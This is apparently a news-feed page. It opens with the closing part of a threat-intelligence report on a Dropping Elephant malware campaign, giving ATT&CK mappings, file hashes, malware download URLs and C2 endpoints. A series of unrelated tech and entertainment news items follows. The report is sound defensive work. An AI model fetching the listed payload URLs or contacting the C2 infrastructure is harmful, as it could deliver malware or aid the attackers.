Command and Control	Application Layer Protocol: Web Protocols [T1071.001]	HTTPS C2 traffic to gcl-power[.]org
Command and Control	Data Encoding: Standard Encoding [T1132.001]	C2 fields use Base64 wrapping
Command and Control	Encrypted Channel: Symmetric Cryptography [T1573.001]	C2 field content is protected with Salsa20
Command and Control	Ingress Tool Transfer [T1105]	Initial staging downloads and dw download-and-execute capability
Exfiltration	Exfiltration Over C2 Channel [T1041]	Host fingerprinting, screenshots, command output, and files leave over the C2 channel

Indicators of compromise (IOCs)

File hashes

SHA-256	File	Comment
a8ecbd9c049044ca4990a0e5960d19ce782a3b42d7763e9693d7c91ead24a0b7	GRES3001.lnk	Initial-access shortcut; launches conhost.exe → PowerShell downloader
56d656d684077e7b3231393f5464447cdc8eea81b6415c5f010bc52f0c8cb317	GRES3001.pdf	Decoy lure document
b58351ead08db413ca499cfeb1b1091ed8bfd68f4089605e452fa01ed46f42b1	Fondue.exe	Legitimate Microsoft side-loading host
914da75a4ad6d70db856a2bc318d8828f28894622f017ee78d470b4794faafa6	APPWIZ.cpl	Malicious side-loaded loader; exports RunFODW
718812adb0d669eea9606432202371e358c7de6cdeafeddad222c36ae0d3f263	msvcp140.dll	Bundled VC++ runtime; verify against known-good
09d1e604e8cdd06176fcc3d3698861be20638a4391f9f2d9e23f868c1576ca94	vcruntime140.dll	Bundled VC++ runtime; verify against known-good
a5e448af73b0ff6b6fcfe6ef7808120e1fd7e5c4c9b4edd68e1c980e5ea3406b	editor.dat	Base64-wrapped AES-256-CBC encrypted payload file
ecab0e747bff16a1163bbd9bb494e68dd4d7ca655ac7279bd4dd73221f7df57c	editor.decrypted.bin	AES-decrypted Donut loader blob
7099c33933716c00c1f4bdb0281c230b981c76b23d7d1c83abc6f58968267d54	editor.extracted.exe	Final RAT, carved from memory

Network indicators

Indicator	Type	Notes
chinagreenenergy.org	Domain	Staging and delivery server
https://chinagreenenergy.org/doc/35566/SXxls	URL	Decoy PDF download
https://chinagreenenergy.org/doc/list/load-list/dfe87bbc-53e0-489f-a9e6-ab8f4be47cb9	URL	Fondue.exe download
https://chinagreenenergy.org/doc/list/load-list/8daaa3e4-c85e-40c1-a2a2-94679e94c417	URL	APPWIZ.cpl download
https://chinagreenenergy.org/doc/list/load-list/ecdc6b92-62b5-4acd-99f2-af09902938e1	URL	msvcp140.dll download
https://chinagreenenergy.org/doc/list/load-list/e7477b17-45f0-420b-b2b1-811d4c1556ea	URL	vcruntime140.dll download
https://chinagreenenergy.org/doc/list/load-list/000bd4a8-814d-414c-8be8-f0c77a9c7e1e	URL	editor.dat download
gcl-power.org	Domain	Operational C2 over HTTPS/443
/prjozifvkpkfhkr/	URI path	Registration / check-in
/prjozifvkpkfhkr/gedhagammgjvvva/	URI path	Command polling endpoint
/prjozifvkpkfhkr/spxbjdhxtapivrk/	URI path	Screenshot exfiltration endpoint
api.ipify.org	Domain	Public-IP lookup used during host fingerprinting
ip2c.org	Domain	Geolocation lookup used during host fingerprinting

Conclusion

The campaign analyzed in this blog demonstrates continued Dropping Elephant operational investment and tooling development. The actor reused recognizable delivery patterns, including a China-themed lure, PowerShell-based staging, scheduled task persistence, shortcut-based execution, and DLL side-loading through a trusted Microsoft binary. At the same time, it evolved the final payload into a more evasive, memory-resident implant.

The final RAT represents a notable evolution from previously documented Dropping Elephant tooling. It executes entirely in memory, patches AMSI, WLDP, and ETW before running, and incorporates additional obfuscation and anti-analysis techniques that make detection and analysis more difficult.

For defenders, the practical takeaway is that Dropping Elephant’s tooling may be changing faster than its operational approach. Hashes, filenames, and infrastructure are likely to change across campaigns, but the path into execution still creates opportunities to detect and disrupt the activity before the final implant runs.

'Widow's Bay' playlist lasts nearly 10 times longer than the show

Tue, 16 Jun 2026 19:24:42 +0200

Apple Music's new "Widow's Bay" playlist lasts so long that it can outlive the entire first season several times over.

Patricia's Sunset Cocktails

Apple Music has published "Patricia's Sunset Cocktails Playlist", a collection inspired by the world of "Widow's Bay." While the playlist page doesn't prominently advertise its size, scrolling to the bottom reveals 811 songs with a total runtime of 60 hours and 32 minutes in the US version of Apple Music.

"Widow's Bay" follows a small coastal town whose residents become entangled in a series of strange events and long-buried secrets. Patricia's bar serves as one of the community's gathering places.

The playlist pulls from a wide range of artists, including David Bowie, Donna Summer, Pat Benatar, Kylie Minogue, Kim Wilde, Pulp, Talk Talk, and Erasure. The mix spans decades of pop, rock, dance, and new wave music.

Continue Reading on AppleInsider | Discuss on our Forums

Alles anders bei "Let's Dance": RTL-Hit steht vor historischem Umbruch

Tue, 16 Jun 2026 18:33:03 +0200

Seit fast 20 Jahren begeistert "Let's Dance" Millionen Zuschauer. Jetzt steht die Kultshow vor einem überraschenden Umbruch, denn hinter den Kulissen wird alles neu geregelt. Dieser Artikel wurde einsortiert unter RTL, TV-Serie / Webserie, RTL+, Entertainment, Serien.

Satya Nadella warns that AI could hollow out entire industries, echoing the damage done by globalization

Mon, 15 Jun 2026 22:34:04 +0200

Microsoft CEO Satya Nadella published a sweeping essay on Sunday laying out what he describes as the defining economic challenge of the AI era: the risk that a handful of frontier models will absorb the expertise of entire industries and commoditize it, leaving businesses stripped of their competitive moats.

"The last thing any of us want is a world where every company across every sector is ceding value to a few models that eat everything they see," Nadella wrote in the piece, titled "A frontier without an ecosystem is not stable," which he posted on X. "If all the value is accrued by only a few models, the political economy will simply not tolerate it. There is no societal permission for an AI future that hollows out entire industries."

The essay is unusually philosophical for a sitting CEO of a $3 trillion technology company. But it arrives at a moment when the theoretical risks Nadella describes are becoming tangible — and, critically, when Microsoft itself is grappling with the very dynamics he warns about.

Nadella introduces "token capital" as the new currency of enterprise AI strategy

At the center of Nadella's essay sits a conceptual framework built on two pillars he calls "human capital" and "token capital." Human capital, he writes, "comprises the knowledge, judgment, relationships, ingenuity, and pattern recognition of its people," while token capital refers to "the firm's AI capability it builds and owns."

The two are not in tension, he insists. "Importantly, human capital does not become less valuable as token capital grows. It only becomes more valuable!" he writes. "I believe human agency will be the driver of token capital growth. Humans will set ambitious goals, connect dots across domains, build relationships, and recognize patterns that matter most. Without human direction, you have compute running in circles."

This framing is a deliberate counterweight to the narrative that AI will simply replace human workers or, at the enterprise level, dissolve the intellectual property that differentiates one company from another. Nadella is arguing that the real danger is not AI's capability but its tendency to centralize — and that the solution requires a fundamentally new architecture for how businesses interact with the technology.

He describes the real opportunity as "not in picking the best model but instead in building a learning loop on top of models where human capital and token capital compound." The key test of a company's sovereignty in this new era, he writes, is whether it can "switch out a 'generalist' model without losing the 'company veteran' expertise built into their learning system."

This is the essay's most actionable claim — and its most provocative. Nadella is telling enterprises they need to decouple their institutional intelligence from whatever frontier model they happen to be running, creating portable knowledge systems that survive vendor changes.

Why Nadella is comparing AI concentration to the outsourcing crisis that gutted industrial economies

Nadella draws a pointed historical parallel to make his warning concrete. "Think about what happened in the first phase of globalization where entire industrial economies were hollowed out by outsourcing," he writes. "The GDP numbers looked fine on the surface, but the displacement was real and the consequences are still being felt. Let us not bring that dynamic into the AI era, with a small number of AI systems capturing all the economic returns, while entire industries find their knowledge commoditized right out from underneath them."

The globalization analogy is not accidental. It reframes the AI concentration debate from a narrow technology question into a political-economy argument — one that regulators, policymakers, and voters can grasp. By invoking the social costs of offshoring, Nadella is signaling that the stakes extend well beyond the enterprise technology stack. He is warning that if the AI industry fails to distribute value broadly, the political system will intervene to force the issue.

"In my view, our priority has to be building a frontier ecosystem, not just a frontier model, so value flows broadly across every company, every industry, and every country," he writes. He grounds this in an older platform philosophy: "This is the ethos I've grown up with where platforms enable more value on top than is captured inside, and where every company can continuously innovate and build value of its own." It is a direct echo of the Windows-era argument, updated for the age of inference — and it carries a similarly self-interested subtext, given that Microsoft's cloud business sits squarely in that platform layer.

Microsoft's own runaway AI costs reveal the gap between Nadella's vision and operational reality

What makes Nadella's essay so striking is its timing. He published it on a day when Reuters reported that Microsoft shareholders filed a proposed class-action lawsuit in Seattle federal court, accusing the company of inflating its stock price by failing to disclose slowing growth in its Azure cloud business and the need to spend billions of dollars on AI infrastructure. The suit names Nadella and Chief Financial Officer Amy Hood among the defendants.

As the Yahoo Finance report on the lawsuit noted, Microsoft allegedly "aggressively promoted its AI developments, specifically its 'Copilot' assistant and close financial alliance with ChatGPT creator OpenAI, to artificially boost investor optimism," while understating infrastructure strain and capital risks. Microsoft also reported $37.5 billion of capital spending in its second quarter, up nearly 66% from a year earlier and above the $34.3 billion that analysts projected.

Microsoft's internal cost pressures around AI have surfaced in other concrete ways this year. The company is canceling the majority of its internal Claude Code licenses in its Experiences and Devices division, effective June 30, 2026. Monthly usage rates reached 84 to 95% by April 2026, and per-engineer API costs ranged between $500 and $2,000 monthly, according to Windows Forum. The cancellation came after Microsoft exhausted portions of its annual AI budget due to token-based billing, as Fortune had reported in May.

The Claude Code episode illustrates, at the micro level, the exact dynamic Nadella describes at the macro level. When a company's AI usage is metered by the token — the fundamental unit of compute that powers model inference — the more productive the tool becomes, the more expensive it gets. The term "token capital" in Nadella's essay carries a double meaning: it refers both to a firm's proprietary AI capability and, implicitly, to the actual tokens consumed in running it. Building a learning loop that compounds is aspirational. Paying the bills for that loop is operational reality.

Uber, Meta, and Amazon are all hitting the same AI spending wall — and it validates Nadella's warning

Microsoft is not alone in this bind. Uber burned through its entire 2026 AI coding tools budget in just four months after incentivizing employees to adopt the technology through an internal leaderboard ranking teams by total AI tool usage. Uber has since instituted a monthly $1,500 cap per employee per agentic coding tool, according to TechCrunch. At Meta, an employee created a leaderboard called "Claudeonomics" to track which workers consumed the most AI tokens. Amazon, meanwhile, has pushed employees to "tokenmaxx" — use as many AI tokens as possible.

The emerging pattern is clear: enterprises adopted AI coding tools aggressively, saw genuine productivity gains, and then discovered that the consumption-based economics of frontier models created budget crises that traditional software licensing never would have. Bryan Catanzaro, vice president of applied deep learning at Nvidia, captured the tension bluntly in an interview with Axios: "For my team, the cost of compute is far beyond the costs of the employees," he said.

These cost dynamics land differently in the context of Nadella's essay. He prescribes a three-layer architecture — evaluation, reinforcement learning, and retrieval — designed to sit between a company's workforce and whatever frontier model it subscribes to. Companies, he argues, need to build "private evals" that "capture whether a model is actually improving against outcomes that matter to the business (not just external benchmarks!)," alongside "private reinforcement learning environments" that "let models grow stronger on real traces from inside the organization" and a knowledge base that "makes institutional memory queryable and use of tokens more efficient." He calls the resulting system "a hill climbing machine" that, "unlike most assets, it compounds."

Other Big Tech CEOs are echoing Nadella's fears about AI models devouring enterprise knowledge

Nadella's concerns do not exist in isolation. Other technology leaders have been raising similar warnings throughout 2026, though none have offered as prescriptive a response.

Snowflake CEO Sridhar Ramaswamy warned in a February podcast that the biggest software companies risk being reduced to mere data sources. "The big model makers want to create a world in which all of the data for all of the enterprises is easily available to them," Ramaswamy said, describing everything else as "a dumb data pipe that feeds into that big brain." He added that Snowflake needs to operate with a "fear" that enterprises would abandon software-specific AI agents in favor of all-inclusive agents that hoover up data from everywhere.

Box CEO Aaron Levie struck a similar note in a January LinkedIn post. AI models can now perform high-level knowledge work across nearly every profession, from law to strategy to scientific research, he argued. "The question that we will have to wrestle with is, in a world where everyone has access to the same expert intelligence, how does a company differentiate?" he wrote.

The combined effect of these statements is a shared diagnosis from three very different corners of the enterprise technology market: the current trajectory of AI development threatens to collapse competitive differentiation across entire industries. Nadella's essay stands apart from the others because it moves beyond diagnosis and proposes a specific architectural remedy. But the prescription is impossible to separate from the prescriber's interests.

Microsoft sits in precisely the platform layer that Nadella's framework would make indispensable — the company builds its own frontier models, operates the cloud infrastructure those models run on, and maintains deep partnerships with the leading independent AI labs. A world in which every enterprise builds a proprietary learning loop on top of commodity foundation models is, conveniently, a world in which Microsoft sells the picks and shovels to all of them.

Nadella's Scout controversy and shareholder lawsuit reveal the tension inside Microsoft's own AI strategy

The essay also arrives just ten days after Nadella publicly rebuked one of his own executives for outlining a plan to "make people addicted" to a new AI tool called Scout.. Microsoft corporate vice president Omar Shahine had written an internal memo describing a three-phase plan to transform Scout "from addictive app to agentic platform," with the first phase focused on features that "make people depend on it daily." Nadella responded on an internal message board: "This is absolutely a non-goal! If anything we are doing the exact opposite. We want to make sure AI empowers and adds real value to human endeavor and broad economic growth!"

The Scout incident and Sunday's essay together suggest Nadella is actively constructing a public philosophy of AI that emphasizes broad value creation over extractive engagement — whether or not every corner of Microsoft has internalized that message. One anonymous Microsoft employee told 404 Media, as the Post reported, that the leaked Scout document was "very troubling," adding: "It feels like one of those 'saying the quiet part out loud' moments."

For technical decision-makers evaluating Nadella's essay, the practical implications are significant. He is arguing that choosing an AI model matters less than building the learning infrastructure around it. He is arguing that the ability to swap models without losing institutional intelligence is the critical test of AI sovereignty. And he is warning that companies that fail to build these systems will find their expertise absorbed and commoditized by the models themselves. "You can offload a task, or even a job, but you can never offload your learning," Nadella writes. "The future of the firm is the ability to compound that learning across people and AI."

The question Nadella's essay cannot answer is whether Microsoft will practice what its CEO preaches

Whether Nadella's vision materializes depends on a question his essay carefully sidesteps: whether the platform providers who build and host the frontier ecosystem will resist the temptation to capture the value flowing through it. Nadella insists that "platforms enable more value on top than is captured inside." But Microsoft's own trajectory this year — the ballooning capital expenditures, the Claude Code budget crisis, the shareholder lawsuit alleging concealed costs, the internal memo about making users addicted — suggests the economics of restraint are harder than the philosophy of restraint.

Nadella ends his essay with the claim that broad value distribution "is the stable equilibrium we should build together." He may be right. Ecosystems have historically outperformed walled gardens over long time horizons. But stable equilibria require every major player to forgo short-term extraction in favor of long-term compounding — and right now, the AI industry is burning through budgets in four months and spending 66% more on infrastructure than analysts expected. The CEO of the world's most valuable technology company has written an eloquent argument for why the AI economy needs to work differently. The open question is whether his own company's balance sheet will let him prove it.

Dutton Ranch episode 6 killed off yet another unhinged character — but it's this unexpected survivor that fans of the Taylor Sheridan Yellowstone spinoff are most worried about

Mon, 15 Jun 2026 14:02:07 +0200

Thanks to Dutton Ranch episode 6, we're now grappling with two unexpected deaths — but Yellowstone fans are more worried about one vulnerable survivor.

OpenAI Investigated By Coalition of America's State Attorneys General

Sat, 13 Jun 2026 19:52:44 +0200

"A coalition of state attorneys general has opened an investigation into OpenAI," reports the Wall Street Journal, citing "people familiar with the matter." OpenAI was served Friday with a subpoena seeking documents related to a broad range of its activities and impact on users, including advertising, user engagement and retention, handling of consumer data and health data, activities related to minors and seniors, deep learning models, model sycophancy and company policies, some of the people said. The subpoena, viewed by The Wall Street Journal, was sent by New York's attorney general.... Earlier this month, Florida became the first state to file a lawsuit against OpenAI and its chief executive, Sam Altman. The lawsuit claims OpenAI and Altman knowingly released an unsafe product and ignored warnings that it could harm users. Florida's Attorney General, James Uthmeier, opened a criminal investigation into OpenAI in April over the role its chatbot played in a mass shooting that killed two people at Florida State University last year. The suspect allegedly turned to ChatGPT as a confidant and sounding board to plan the attack, and the chatbot dispensed advice for his questions... State attorneys general have been scrutinizing OpenAI's competitors in the AI industry as well. In December, a coalition of 42 state attorneys general led by Pennsylvania's Dave Sunday sent a letter to companies including OpenAI, Meta, Anthropic, Google and xAI. In the letter, the Attorneys General demanded safeguards to protect vulnerable users from harmful interactions with chatbots, warning that "developers may be held accountable for the outputs of their GenAI products" for "encouraging an individual to commit a criminal act." "We take the concerns raised by state attorneys general seriously," OpenAI told the Journal in a statement, "and intend to engage constructively with their offices." The article also acknowledges that The Wall Street Journal's parent company "has a content-licensing partnership with OpenAI."

Read more of this story at Slashdot.

Apple Just Killed SiriKit, and Developers Should Be Concerned

Sat, 13 Jun 2026 14:36:07 +0200

Apple’s new Siri grabbed most of the attention at WWDC 2026, but the bigger story for developers was Apple’s decision to deprecate SiriKit and make App Intents the primary way apps connect with Siri. That change affects how users discover, interact with, and automate apps across the Apple ecosystem. The Siri Story Everyone Is Talking About Apple introduced a much smarter Siri that can understand context, handle follow-up requests, and work across apps more naturally. The company also expanded Apple Intelligence features, making Siri feel more conversational and useful in everyday tasks. For users, that is the headline feature. For developers, the real headline is what powers those interactions behind the scenes. SiriKit Is Going Away Apple has formally deprecated SiriKit, the framework that developers have used for years to connect apps with Siri. Existing apps will continue to work for now, but Apple has clearly signaled that App Intents is the future path. Developers are already seeing deprecation warnings and Apple expects teams to begin migrating. This is not a minor technical update. It changes how third-party apps participate in Siri's ecosystem. Why App Intents Matter So Much App Intents do far more than enable voice commands. They connect apps to multiple parts of Apple's platforms, including: Siri AI interactions Spotlight search Shortcuts automation Widgets Lock Screen actions Action Button integrations System-wide recommendation As Apple pushes users toward AI-powered interactions, App Intents become the foundation that tells Siri what an app can do. Without them, Siri has limited visibility into an app's features. The Real Stakes for Developers The new Siri is exciting, but Siri itself is only the interface. App Intents define the actions Siri can actually perform. If a task manager exposes its tasks through App Intents, Siri can create reminders, update projects, and answer questions about them. If another app does not expose those actions, Siri cannot help users interact with it in meaningful ways. That creates a new competitive reality. Apps that adopt App Intents gain visibility across Apple's AI experiences. Apps that ignore them risk becoming harder to discover and use. Apple Is Building an Intent-Based Future This shift shows where Apple is heading. Users increasingly interact with software through natural language instead of menus and buttons. Siri needs a structured way to understand what every app can do, and App Intents provide that structure. Apple's developer documentation and WWDC sessions have pushed developers toward App Intents for several years. The SiriKit deprecation simply turns that recommendation into a requirement. Wrap Up The new Siri will attract headlines because users can immediately see it. The retirement of SiriKit will have a longer-lasting impact because it changes how every app integrates with Apple's AI ecosystem. Years from now, developers may look back at WWDC 2026 and remember the Siri redesign. They will probably remember the App Intents transition even more because that decision shapes how apps connect to Siri, Spotlight, Shortcuts, and future Apple Intelligence features for years to come.

Spotify cares so little about Windows 11 the controversial disco ball icon came and went without ever touching a PC

Fri, 12 Jun 2026 16:28:46 +0200

Spotify has officially killed off its widely disliked 3D disco ball app logo. But if you only stream music on a PC, you never even knew it existed.

Kein "Let's Dance" am Freitag: RTL setzt stattessen auf diese Show

Fri, 12 Jun 2026 08:50:35 +0200

Monatelang gehörte der Freitagabend auf RTL der Tanz-Show "Let's Dance". Doch diese Woche müssen Fans mit einer anderen Show vorlieb nehmen. Dieser Artikel wurde einsortiert unter RTL, TV-Sender, Entertainment, RTL+.

v2.1.174

Fri, 12 Jun 2026 03:46:34 +0200

What's changed

Added wheelScrollAccelerationEnabled setting to disable mouse-wheel scroll acceleration in fullscreen mode
Fixed the /model picker hiding the model family that Default resolves to — Opus now appears as its own row on Max/Team Premium/Enterprise plans, Sonnet on Pro/Team plans, and Opus on pay-as-you-go API accounts
Fixed /model picker showing a hardcoded Sonnet version label when ANTHROPIC_DEFAULT_SONNET_MODEL pins a different Sonnet
Fixed the "Fable 5 is now consuming usage credits" banner incorrectly showing for enterprise accounts with usage-based billing
Fixed Bedrock GovCloud regions (us-gov-*) deriving the wrong inference profile prefix (global instead of us-gov), causing 400 errors on derived model IDs
Fixed background sessions inheriting another session's ANTHROPIC_* provider env (gateway URL, custom headers, /model aliases) from the shell that started the background daemon
Fixed a 1-2 second pause when exiting Claude Code shortly after a shell command was interrupted or killed on macOS and Linux
Fixed git commit co-author attribution showing an incorrect model name for some models
Fixed the /advisor dialog pre-selecting a saved advisor model that is blocked by the availableModels allowlist
Fixed skill hot-reload re-sending the entire skill listing when a single skill changed; only changed skills are now re-announced
Fixed Workflow tool agent() subagents missing per-agent attribution headers
[VSCode] Added usage attribution to the Account & usage dialog (/usage) showing cache misses, long context, subagents, and per-skill/agent/plugin/MCP breakdowns over the last 24h or 7d
Fixed pre-warmed background workers failing with "Could not resolve authentication method" when claimed after sitting idle

Fully Autonomous Drones Have Killed Human Soldiers For the First Time

Thu, 11 Jun 2026 13:09:08 +0200

Longtime Slashdot reader MattSparkes shares a report from NewScientist, captioned: "For years we've had unconfirmed reports, rumors, hints... now we know." From the report: Fully autonomous drones with no human oversight have killed soldiers on the battlefield for the first time. This is according to a senior figure in the Ukrainian defense industry, marking a watershed moment in warfare. The one-off test involved 10 AI-controlled "Terminator" drones on the front line of the Ukraine war. Russian soldiers were killed. "We tried it," says drone-maker Alexander Kokhanovskyy, who supplied the technology and spoke to New Scientist at a press event hosted by the Ukrainian embassy. "It's a test. We never implemented it [more widely]." The test took place two years ago and involved quadcopter drones that were programmed to fly towards the front line, cover between 3 and 5 kilometres over around 10 minutes and then engage "Terminator mode," in which an AI model searches for and intercepts targets. "We just launch it and we know everything will be dead -- everything that will be found there in this particular area will be dead," says Kokhanovskyy. "There is no connection to the drone at all, you cannot see the video, nothing... Everything it sees will be killed." With no way to tell what the automated drones had seen or targeted, human-piloted drones were sent into the area after the test to manually check results. Victims included "a couple of soldiers, one truck," says Kokhanovskyy. While there is no recording of the automated drones attacking these targets, it was concluded that the drones had killed them. Kokhanovskyy says that he was not at the test personally but that it was carried out by an unnamed military unit near the cities of Bakhmut and Chasiv Yar as part of a Ukrainian counteroffensive push. The Ukrainian Ministry of Defence did not respond to questions about the test or the current legal position on the use of fully autonomous weapons.

Read more of this story at Slashdot.

Microsoft just killed the slow Microsoft Store downloads in Windows 11, after years of throttling

Wed, 10 Jun 2026 21:11:02 +0200

The Windows 11 June 2026 Patch Tuesday update (KB5094126) quietly fixes the Microsoft Store, finally ending years of throttled, painfully slow download speeds. While apps now update significantly faster and error reporting is improved, the Store's overall UI remains sluggish due to aging UWP code.

The post Microsoft just killed the slow Microsoft Store downloads in Windows 11, after years of throttling appeared first on Windows Latest

Welcome to AI’s creepy era

Wed, 10 Jun 2026 11:49:29 +0200

For the past few days, I’ve been immersed in Google’s latest vision of the future — an AI-infused dashboard that taps into info from all of your Google app activity and then uses that data to cook up a series of daily “stories” designed to “connect you with what matters.”

And — believe me, I don’t say this lightly — the experience of interacting with this system has me longing more than ever for the past.

The app is called Dreambeans. Google launched it as an experiment last Wednesday, and I was offered the opportunity to skip the standard waitlist and get immediate access to explore it.

I won’t beat around the bush: Using the app really has been an eye-opening, enlightening experience for me. Just not in the way that Google had presumably wanted.

[Get level-headed knowledge in your inbox with my free Android Intelligence newsletter. Something new and useful every Friday — from my keyboard to your email.]

Google Dreambeans and the next phase of AI

In many ways, Dreambeans feels like the ultimate example of everything Google’s been gunning for — and AI in general has been building up to — over the past several years.

With your permission, the app accesses your ongoing activity data from Google Workspace (including such services as Gmail, Google Calendar, and Google Drive) along with Google Search, Google Photos, and YouTube to create an evolving profile of your life and interests. That means everything from who you email to what’s on your agenda, what you’re writing or saving files about, and what sorts of subjects you’re searching for, videos you’re watching, and activities you and your friends, family, and other associates are appearing in throughout photos (and even how you all look in those photos) gets constantly analyzed and processed and used as fodder for a personalized feed that updates a few times a day.

On the surface, it sounds a little like Google Now — the excellent and all-too-short-lived proactive intelligence feature Google added into Android for a while back around 2012.

In practice, though, lemme tell ya: It feels dramatically different. Whereas Google Now felt almost magical in its ability to anticipate what you needed before you ever asked for it — with proactive cards on things like flight statuses based on itineraries in your inbox or flight-related searches you’d performed, traffic alerts based on your typical daily routes or appointments in your agenda, and links to maps for businesses you’d been researching — Dreambeans takes those same basic concepts to a whole other level that ends up feeling creepy and invasive, both in the info it’s offering and in the way it’s presenting it.

And, more broadly, it feels indicative of the way AI is heading in general — not just with this one app or with Google but across the industry and in a style that I think most people are increasingly finding off-putting and will only find ever more intrusive in time.

Now, let’s be clear: I’m no technophobe. Far from it: I love clever tech creations and thoughtful new touches that make our lives easier. Heck, I’ve spent much of my life searching for and writing about such feats. And that’s precisely why my reaction to Dreambeans strikes me as so significant: If I’m this put off by this concept, how will average tech users — most of whom are far less tuned into tech trends and intrigued by interesting new options then I am — react?

I’ll tell you more about what I’ve heard so far in a second. First, let me show you exactly what I’ve been seeing, so you can assess this thing for yourself and see how it comes across to your spidey senses.

Here’s a handful of the Dreambeans “story” suggestions that appeared in the app upon its first day working for me, with a few names and personal details blurred for privacy purposes:

Some of Dreambeans’ custom “stories” throughout my first day with the app.

JR Raphael, Foundry

I’m honestly not even sure where all of these suggestions came from, but what jumped at me right away were the (occasionally flattering) caricatures of me and my wife and the general sense of invasion from all the slightly too personal stuff and too familiar integration of family members’ names and interests integrated into the material.

For the record: I had been looking into speaker stuff at some point in the not-too-distant past; I’ve never once typed, uttered, or even considered the phrase “hand-loomed textiles” until just now; we had been looking at the arts festival it mentioned; I’ve never specifically searched for or expressed any interest in Scary Movie 6; and I am not into the band Genesis — though, to be fair, I can’t dance.

I showed all this same material to my wife as well as to several other friends and family members I’d categorize more as typical tech users — not tech professionals or card-carrying geeks but just regular people who own and use a variety of devices, as we all do, and rely on ’em for both personal and professional purposes with varying levels of dread, excitement, and/or indifference. Without exception and without any prompting or personal opinions presented to sway them, every single one of ’em responded the same basic way: “Oh. That’s creepy.” And: “I do not like that.” Without fail.

It doesn’t get much better from here, either. Most of the app’s subsequent suggestions have continued to veer just a touch too far onto the “ick” side of the spectrum, as well as occasionally being off-base in some pretty perplexing ways. For instance:

Nice AirPods, Mr. Apple fan!

JR Raphael, Foundry

For the record on this set: I do love the show Seinfeld — SERENITY NOW! more than ever — though it’s been some time since I’ve actively watched it; I somewhat famously am allergic to Apple products and avoid ’em whenever possible (notice the name of this column, anyone?); I don’t live in the same city as my brother but do find it creepy to have him pictured in ghoulish caricature form and brought randomly into a discussion about Plex (something he wouldn’t even remotely be interested in hearing from me about); and my various editorial newsletters are all powered by a service called Kit — not Beehiiv — which is mentioned in plenty of places both on my websites and throughout my emails.

Also, while my hairline may not be what it once was, I’m (ahem) not that bald yet — thankyouverymuch, Dreambeans.

Another example that I won’t show here was an item that pictured me in overalls working on installing some “coated stainless steel wire for [my] gallery canvases” — a reference to a community art gallery (with all sorts of details wrong and in some cases flat-out fabricated) connected to my mother’s recent passing. It casually mentioned her by name, too, alongside that eerie illustration of me performing a skill I definitely don’t have in my nonexistent home workshop. I don’t think I have to elaborate on how unsettling, unappreciated, and — again — invasive it felt to have that pop up in this feed.

More than anything, what I’ve been feeling while seeing all of this is a combination of (a) egad, it knows too much — especially when it casually name-drops and caricature-pics my wife, kids, and other family members — and (b) at the same time, the info it’s giving me isn’t especially helpful or insightful. It’s mostly just flat, generic, and — well, more or less exactly what you’d expect from something AI-generated.

Seeing caricatures and personal details about my kids is odd — and, at the same time, neither of my kids actually plays or has any interest whatsoever in soccer.

JR Raphael, Foundry

More than anything, in other words, it’s a combination of creepy and not particularly useful.

Some of what I’ve seen when opening Dreambeans’ personal “stories.” Yay?

JR Raphael, Foundry

And it’s the “creepy” part that really sticks with me the most.

The fine line Google forgot to avoid crossing

Maybe if the info I’m being served up here were exceptionally useful, this could be a tradeoff I’d be at least a little more likely to accept. Maybe. But in this scenario, it just feels odd and a little too invasive — which I’ve come to realize is a common theme surrounding much of what seems to be the next level of our forced-upon-us AI future.

Take Google’s Gemini Spark, for instance — the “agentic” AI assistant announced at Google I/O that’s meant to be a “proactive” helper tackling tasks on your behalf. David Pierce from The Verge got an early look at the tool in action and called it “the most impressive and terrifying AI experience” he’s had to date, also bringing that “creepy” word into the equation:

I can’t shake the deeply creepy feeling I get from the whole thing. What Spark did feels sort of magical, and very invasive. It’s weird that Spark is so casually telling me the names and ages of my children, reminding me that it knows where I live, and finding information I know for a fact I’ve never volunteered to Google. Intellectually, I know that Google knows an incredible amount about me — add up my emails, my calendar, my photos, and my search history, and you’ve pretty much got me pegged. But seeing Spark treat all that data not as something to be protected, but as something to be mined, just feels bad.

And that, I think, mirrors the exact reaction I’ve been experiencing with Dreambeans. We’ve all always known that Google knows a lot about us, but we’ve also — at least intellectually — understood how all of that data is and isn’t being used. And it’s never been rubbed in our faces just how much the company can figure out about us by putting all the various pieces together and creating an awkward sense of robotic intimacy.

I remember years ago, being in a Google press briefing where someone from the company talked about how much more their systems and services could accomplish but how they deliberately held back on going that far and overdoing the personalization — ’cause even though they had all that info and could make all those connections, they knew (at the time) that people wouldn’t respond well to seeing all their personal activity put together in such shocking ways. They knew (at the time) that most of us weren’t looking for an artificial BFF who knew too much about us. They knew (at the time) that giving us that sensation would cross the line into being creepy.

Well, this just in: That line’s officially been decimated. We’re in AI’s creepy era. And seemingly no one is worrying anymore if it’s actually something any of us want or will appreciate.

It kinda feels now like tech companies are actively rubbing in our faces how much they know about us — and even if there’s nothing truly nefarious going on with what they’re doing, it sure doesn’t feel good. It feels creepy. And at a time when trust in tech titans is shockingly low and most folks outside of the Silicon Valley bubble are feeling more and more frustrated with AI and all of the effects it’s foisting upon us, that isn’t a great look to be giving off.

Put those sensations alongside the sigh-inducing explosion of AI “content creators,” the proliferation of lifeless AI-generated “writing” (been on LinkedIn much lately?), and the troublingly blurry line between photorealistic AI-generated images and actual real-world photographs — not to mention the maddening experience of interacting with an AI bot support agent or encountering the ever-expanding array of AI-powered scams and security threats and AI-generated job cuts, just to name a few other problematic consequences this movement is imposing — and it’s hard not to question if all this purported progress is ultimately more helpful or harmful for us, as living, breathing humans in the real world.

A few months ago, at the three-year mark of Gemini’s launch, I posed the question: Did anyone actually ask for this? And, more pressingly: Is this the future we wanted? As we’re moving now into yet another era of AI innovation and seeing how it’s affecting our lives, it gets tougher every day to imagine many folks outside of the tech industry who’d answer with an emphatic yes.

And, unfortunately, you don’t need any fancy-schmancy AI chatbots to tell you that things are only gonna get more extreme — and, yes, more creepy — from here.

Find the tips and tools that’ll *actually* help you with my free Android Intelligence newsletter. No hype, no nonsense — just useful new stuff in your inbox every Friday, from one (alleged) human to another.

Apple’s AI plans show promise, but proof of success still to come — analysts

Tue, 09 Jun 2026 18:17:40 +0200

WWDC26 felt like a defining platform moment. Apple is no longer simply promising that AI will arrive eventually; it is arguing that Apple Intelligence and Siri AI should become central to the future of its ecosystem. If that works, the company will have turned AI from a perceived weakness into a new reason to stay inside Apple’s world.

Still, the bigger question is execution. Apple did not present AI as a lab experiment; it presented a polished, consumer-ready experience. That raises expectations.

Apple must deliver this time

Users will not judge Apple Intelligence by model architecture or parameter counts. They will judge it by whether Siri understands them, whether actions work reliably, whether personal context feels useful rather than intrusive, and whether the experience is consistent across devices.
